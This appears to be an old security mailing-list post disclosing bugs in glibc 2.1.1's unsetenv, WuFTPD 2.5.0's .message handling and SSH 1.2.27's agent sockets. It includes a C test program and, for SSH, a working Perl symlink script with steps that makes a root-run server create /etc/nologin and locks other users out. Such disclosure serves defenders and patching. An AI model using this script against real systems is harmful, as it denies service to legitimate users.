A few bugs...

[tymm () COE MISSOURI EDU (Tymm Twillman)]

Here's a couple of reasons to upgrade packages.  All of these have been
reported to respective developers, and all but the sshd DOS attack have
fixes.  I'm not guaranteeing that exploits are possible for all of these,
but they do look fairly dangerous.

I'd originally sent a message with this info to Aleph One, but probably
should have sent it to the list instead.

- Glibc 2.1.1:

  o unsetenv() off-by-one error:
     The unsetenv function in glibc 2.1.1 suffers from a problem whereby
     when running through the environment variables, if the name of the
     variable being unset is present twice consecutively, the second is
     not destroyed.

     unsetenv is sometimes used by programs that depend on it clearing out
     variables for protection against evil environment variables.

     It appears as though this was found by someone else before I stumbled
     across it; glibc 2.1.2 should not be vulnerable.

     To see if your libc has the problem, compile and run the following
     program:

     #include <stdlib.h>
     #include <stdio.h>

     extern char **environ;

     int main()
     {
       char *env[] = {
        "bob=trash",
        "bob=uh-oh",
       NULL
     };

     environ = env;

     printf("bob = %s\n", env[0]);

     unsetenv("bob");

     printf("bob = %s\n", getenv("bob"));

     return 0;
   }

   If the output isn't "bob = (null)", unsetenv() isn't doing its job.
   (also note that not all libc's support unsetenv, or even the environ
   variable, so this may not compile/link on many non-glibc systems).

- WuFTPD 2.5.0:
  o .message file buffer overflow
      WuFTPD when processing a .message file will read in a buffer, 255
      bytes at a time, and process a number of % options (e.g. %H will
      cause the remote hostname to appear in the output message).  The
      output buffer is only 1024 bytes long, so if the results from %
      options are longer than about 4-5 characters, it will overflow this
      buffer.

      Exploits for this would probably be difficult, as the input buffer
      is actually after the output buffer in memory, so it will overwrite
      the input buffer and keep copying the resulting contents in memory
      over and over until the top of memory is hit, causing a segfault.
      However, with some tricks (using % options that don't produce
      output for example) it may be able to stop the copying before
      this occurs.

      This was fixed in 2.6.0

- SSH 1.2.27 DOS:
  o SSH has the option of setting up "authentication sockets", used to
    pass authentication keys securely.  When this is used, a socket is
    created on both client and server machines; the socket created on the
    server uses an often easy to guess filename (based on the PID)...
    The creation of this socket is done while the server is acting as
    root and does follow symlinks.

    exploit:

    - connect to remote machine
    - run following script (creates symlinks for the next 50 PID's):

    #!/usr/bin/perl

    $pid = $$;

    $whoami = `whoami`;
    chop($whoami);
    mkdir("/tmp/ssh-$whoami", 0700);

    for ($i = $pid; $i < $pid+50; $i++) {
      symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
    }

    - on local machine, execute ssh-agent1; it will produce a few lines
      to cut and paste into your shell.  Do so.

    - ssh1 to the remote machine; enter password

    The socket will have been created at /etc/nologin, preventing other
    non-root users from logging in.  This connection too will die with
    "Logins are currently denied by /etc/nologin:"

    This was tested on a RedHat 6.0 machine, with standard
    configure/make/install installation of ssh.  This script should work
    pretty well for systems that create processes where each PID is one
    greater than the last; other platforms may require modifications, or
    many many more links, if they're exploitable.

    I sent this info in to the ssh folks a while ago and they were looking
    into it; haven't heard from them in over a week though.

-Tymm